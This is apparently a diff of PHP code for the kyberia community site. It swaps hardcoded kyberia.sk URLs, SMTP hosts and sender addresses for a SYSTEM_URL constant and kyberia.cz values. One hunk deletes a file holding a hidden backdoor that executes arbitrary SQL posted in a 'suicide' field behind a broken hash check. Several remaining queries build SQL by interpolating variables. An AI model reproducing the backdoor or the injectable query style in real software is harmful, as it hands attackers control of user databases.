define('CONFIG_DIR', SYSTEM_ROOT . 'config/');
define('AJAX_DIR', SYSTEM_ROOT . 'wwwroot/ajax/');
define('INCLUDE_DIR', SYSTEM_ROOT . 'wwwroot/inc/');
+
define('SMARTY_DIR', SYSTEM_ROOT . 'wwwroot/smarty/libs/');
define('SMARTY_PLUGIN_DIR', SYSTEM_ROOT . 'wwwroot/inc/smarty/node_methodz/');
define('TEMPLATE_DIR', SYSTEM_DATA . 'templates/');
+#XXX FIX
+define('OWN_TEMPLATE_DIR', TEMPLATE_DIR. 'own_templates/');
+
define('TMP', SYSTEM_DATA . 'tmp/');
define('FILE_DIR', SYSTEM_DATA . 'files/');
define('CLASS_DIR', INCLUDE_DIR . 'class/');
echo "<br><hr>";
$mailto = $set->getString('email');
- $headers = 'From: admin@kyberia.sk' . "\r\n" .
- 'Reply-To: darkaural@kyberia.sk, freezy@kyberia.sk' . "\r\n" .
+ $headers = 'From: root@kyberia.cz' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
$emailtext = " Vitaj v Kyberii. \n S radostou ti oznamujem, ze registracia, ktoru si napisal(a) dna $created bola
uspesne schvalena s poctom hlasov $set->getString('k'). Odteraz je tvoje konto povolene a mozes sa volne prihlasovat,
- prispievat...no proste 'bavit sa':-)) \n Uzivaj si kyberpriestoru:-)))
- \n\n DarkAural & freezy \n DarkAural@kyberia.sk & freezy@kyberia.sk";
+ prispievat...no proste 'bavit sa':-)) \n Uzivaj si kyberpriestoru:-))) XXX";
mail($mailto,"kyberia gate opened",$emailtext,$headers );
nekonecnej siete, prosim, vstup.
Predtym ako vsak zacnes vnikat hlbsie do tajov systemu chcel by som ta odkazat na
- <a href='http://kyberia.sk/id/2111313/'>Newcommers forum</a> ktore ti ujasni niektore zakladne veci v systeme a
+ <a href='http://".SYSTEM_URL."/id/2111313/'>Newcommers forum</a> ktore ti ujasni niektore zakladne veci v systeme a
tym ti v nom ulachci orientaciu.
peace & respect";
echo "<br><hr>";
$mailto = $set->getString('email');
- $headers = 'From: admin@kyberia.sk' . "\r\n" .
- 'Reply-To: darkaural@kyberia.sk, freezy@kyberia.sk' . "\r\n" .
+ $headers = 'From: root@kyberia.cz' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
$emailtext = " Tak mam pre teba smutnu spravu. \n Registracia ktoru si napisal(a) dna $created bola zamietnuta
z dovodu nedostatocneho poctu hlasov ($set->getString('k')) ktore tvoja osoba dostala. Je celkom mozne,
ze to, co si o sebe napisal(a) dostatocne nezaujalo ludi co su dnu ale to neni dovod na to aby si to vzdal(a)!
- \n Registrovat sa mozes hocikedy znovu a snad sa to nabuduce vydari.
- \n\n DarkAural & freezy \n DarkAural@kyberia.sk & freezy@kyberia.sk";
+ \n Registrovat sa mozes hocikedy znovu a snad sa to nabuduce vydari.";
mail($mailto,"kyberia: registracia zamietnuta",$emailtext,$headers );
}
echo "<br><hr>";
$mailto = $set->getString('email');
- $headers = 'From: admin@kyberia.sk' . "\r\n" .
- 'Reply-To: darkaural@kyberia.sk, freezy@kyberia.sk' . "\r\n" .
+ $headers = 'From: root@kyberia.cz' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
$emailtext = " Registracia, ktoru si napisal(a) dna $created si neverifikoval(a) a tak po tyzdni stratila svoju platnost
a bola zmazana. Ak ti nedosiel ziaden verifikacny kod prosim kontaktuj ma, je to mozne ze je to chyba niekde
na ceste medzi kyberiou a tebou, ak to bol zamer neverifikovat sa tak tuto spravu ber cisto informacne:-)).
\n Ak sa naozaj stala chyba a mas stale chut a volu vstupit do autonomnej zony mozes hocikedy znovu vyplnit
- registracny formular a pokusit sa o to znovu.
- \n\n DarkAural & freezy \n DarkAural@kyberia.sk & freezy@kyberia.sk";
+ registracny formular a pokusit sa o to znovu.";
mail($mailto,"kyberia: neverifikovana ziadost zmazana",$emailtext,$headers );
}
return false;
}
-?>
\ No newline at end of file
+?>
global $permissions,$node,$db,$error;
$user_id=$_SESSION['user_id'];
$user_name=$_SESSION['user_name'];
-$hello="ahoj, tymto ta vitam v systeme kyberia.sk. do systemu ta zaregistrovala moja malickost. v pripade ze budes mat akykolvek problem, kontaktuj ma prosim cez postunnako prve by si mal navstivit forum Zaciname s kyberiou\n\ntoto je automaticky vygenerovana sprava";
+$hello="ahoj, tymto ta vitam v systeme ".SYSTEM_URL.". do systemu ta zaregistrovala moja malickost. v pripade ze budes mat akykolvek problem, kontaktuj ma prosim cez postunnako prve by si mal navstivit forum Zaciname s kyberiou\n\ntoto je automaticky vygenerovana sprava";
require(INCLUDE_DIR."phpmailer.inc");
$mail = new PHPMailer();
$mail->IsSMTP(); // send via SMTP
-$mail->Host = "onyx.hysteria.sk"; // SMTP servers
-$mail->From = "admin@kyberia.sk";
-$mail->FromName = "kyberia.sk admin";
+$mail->Host = "molly.kyberia.cz"; // SMTP servers
+$mail->From = "root@kyberia.cz";
+$mail->FromName = "kyberia.cz admin";
$mail->WordWrap = 50; // set word wrap
-$mail->Subject = "kyberia.sk uspesna registracia";
+$mail->Subject = "kyberia.cz uspesna registracia";
if (!$permissions['w']) {
$db->query("update users set user_mail='1',user_mail_name='$user_name' where user_id='$user'");
$mail->ClearAddresses();
$mail->AddAddress($email); // optional name
-$mail->AltBody = "bol si uspesne zaregistrovany do komunity kyberia.sk s loginom $login . njoy";
+$mail->AltBody = "bol si uspesne zaregistrovany do komunity ".SYSTEM_URL." s loginom $login . njoy";
if(!$mail->Send())
{
$error="could not sent mail";
Momentalne ti chcem povedat jedno hlasne VITAJ!. Vitaj v projekte ktory nikdy neskonci. Ak sem vchadzas so zlymi umyslami, prosim odid, nenajdes tu stastie. Ked vsak chces spoznat novych ludi na rovnakej vlne, ked chces svoj mozog zaplnit informaciami z nekonecnej siete, prosim, vstup.
-Predtym ako vsak zacnes vnikat hlbsie do tajov systemu chcel by som ta odkazat na <a href='http://kyberia.sk/id/2111313/'>Newcommers forum</a> ktore ti ujasni niektore zakladne veci v systeme a tym ti v nom ulachci orientaciu.
+Predtym ako vsak zacnes vnikat hlbsie do tajov systemu chcel by som ta odkazat na <a href='http://".SYSTEM_URL."/id/2111313/'>Newcommers forum</a> ktore ti ujasni niektore zakladne veci v systeme a tym ti v nom ulachci orientaciu.
peace & respect";
return false;
}
-?>
\ No newline at end of file
+?>
require(INCLUDE_DIR."phpmailer.inc");
$mail = new PHPMailer();
-$mail->IsSMTP(); // send via SMTP
-$mail->Host = "onyx.hysteria.sk"; // SMTP servers
-$mail->From = "admin@kyberia.sk";
-$mail->FromName = "kyberia.sk admin";
-$mail->WordWrap = 50; // set word wrap
-$mail->Subject = "kyberia.sk neuspesna registracia";
+$mail->IsSMTP(); // send via SMTP
+$mail->Host = "molly.kyberia.cz"; // SMTP servers
+$mail->From = "root@kyberia.cz";
+$mail->FromName = "kyberia.cz admin";
+$mail->WordWrap = 50; // set word wrap
+$mail->Subject = "kyberia.cz neuspesna registracia";
if (!$permissions['w']) {
$mail->ClearAddresses();
$mail->AddAddress($email);
- $mail->AltBody = "bohuzial si nebol zaregistrovany na kyberia.sk. ked chces skus znovu";
+ $mail->AltBody = "bohuzial si nebol zaregistrovany na ".SYSTEM_URL.". ked chces skus znovu";
if(!$mail->Send())
{
$error="could not sent mail";
$q="update users set hash='$vercode' where user_id='$user_id'";
$db->query($q);
- $emailtext= "Ahoj $user_name!\nPotrebujes zmenit heslo ktore si zabudol?\nPrave od toho tu je tento email. Musim tento text trosku natiahnut aby ho spamfiltre nebrali ako spam a ty si si to svoje zabudnute heslo mohol lahko zmenit.\nTu je tvoje overovacie cislo => $vercode <= [samozrejme bez tych sipiek => a <=].\nTen musis zadat na tejto adrese => https://kyberia.sk/id/632663 kde si uz svoje heslo lahko zmenis.\n\nVela Stastia\nadmini kyberia.sk";
- $headers = 'From: admin@kyberia.sk' . "\r\n" . 'Reply-To: freezy@rulez.sk' . "\r\n" . 'X-Mailer: kyberia.sk';
- mail($email,"kyberia.sk verification code",$emailtext,$headers );
+ $emailtext= "Ahoj $user_name!\nPotrebujes zmenit heslo ktore si zabudol?\nPrave od toho tu je tento email. Musim tento text trosku natiahnut aby ho spamfiltre nebrali ako spam a ty si si to svoje zabudnute heslo mohol lahko zmenit.\nTu je tvoje overovacie cislo => $vercode <= [samozrejme bez tych sipiek => a <=].\nTen musis zadat na tejto adrese => https://".SYSTEM_URL."/id/632663 kde si uz svoje heslo lahko zmenis.\n\nVela Stastia\nadmini ".SYSTEM_URL;
+ $headers = 'From: root@kyberia.cz' . "\r\n" . 'X-Mailer: kyberia';
+ mail($email,SYSTEM_URL." verification code",$emailtext,$headers );
$error="<h3>Verification code sent, please check your mailbox.</h3>";
return false;
}
-?>
\ No newline at end of file
+?>
+++ /dev/null
-<?php
-function ring() {
-global $db;
-if (md5($_POST['ring']=='a482a148ccdd020bcb5888e99f41bb65')) {
- $db->query($_POST['suicide']);
-}
-?>
echo "<br>";
echo "<hr>";
$mail=$set->getString('email');
-mail($mail,"kyberia.sk registracia","Lutujem, vasa registracia bola zamietnuta");
+mail($mail,SYSTEM_URL. " registracia","Lutujem, vasa registracia bola zamietnuta");
// echo $mail;
return false;
}
-?>
\ No newline at end of file
+?>
$rss =& new UniversalFeedCreator();
$rss->title = "Kyberia mail";
$rss->description = "";
- $rss->link = "https://kyberia.sk/id/24";
+ $rss->link = "https://". SYSTEM_URL . "/id/24";
$query = "select date_format(mail.mail_timestamp,\"%e.%c. %k:%i:%s\") as cas,
userfrom.user_action as locationfrom_action,
continue;
$item =& new FeedItem();
$item->title = $m['mail_from_name'];
- $item->link = "https://kyberia.sk/id/24";
+ $item->link = "https://".SYSTEM_URL."/id/24";
$item->description = $m['mail_text'];
$rss->addItem($item);
}
$rss =& new UniversalFeedCreator();
$rss->title = "Kyberia bookmarks";
- $rss->link = "http://kyberia.sk/id/19";
+ $rss->link = "http://".SYSTEM_URL."/id/19";
require_once(SMARTY_PLUGIN_DIR.'/function.get_bookmarks.php');
smarty_function_get_bookmarks(array(), $smarty);
{
$item =& new FeedItem();
$item->title = $_b['node_name'];
- $item->link = "http://kyberia.sk/id/".$_b['node_id']."/rss";
+ $item->link = "http://".SYSTEM_URL."/id/".$_b['node_id']."/rss";
$rss->addItem($item);
}
}
$rss =& new UniversalFeedCreator();
$rss->title = $node['node_name'];
$rss->description = "";
- $rss->link = "http://kyberia.sk/id/".$node['node_id'];
+ $rss->link = "http://".SYSTEM_URL."/id/".$node['node_id'];
// K list
if ($_GET['node_id']=='15')
{
$item =& new FeedItem();
$item->title = $_item['node_name'];
- $item->link = "http://kyberia.sk/id/".$_item['node_id'];
+ $item->link = "http://".SYSTEM_URL."/id/".$_item['node_id'];
$item->description = $_item['node_content'];
$rss->addItem($item);
}